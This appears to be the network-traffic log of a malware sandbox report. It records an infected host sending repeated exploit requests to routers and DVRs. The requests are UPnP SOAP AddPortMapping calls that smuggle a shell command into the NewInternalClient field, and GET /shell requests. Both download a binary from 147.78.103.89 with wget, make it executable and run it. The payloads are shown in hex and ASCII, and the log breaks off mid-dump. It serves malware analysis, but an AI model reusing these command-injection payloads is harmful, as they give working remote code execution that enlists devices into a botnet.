                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      178192.168.2.15593445.212.104.1825501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:14.539750099 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:29:17.622910976 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:29:23.766736031 CET261OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      179192.168.2.155218645.33.250.8552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:15.222456932 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      180192.168.2.155334245.207.143.8452869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:20.726488113 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:22.326608896 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:24.214590073 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:28.118439913 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      181192.168.2.155195445.41.80.24052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:29:20.899475098 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 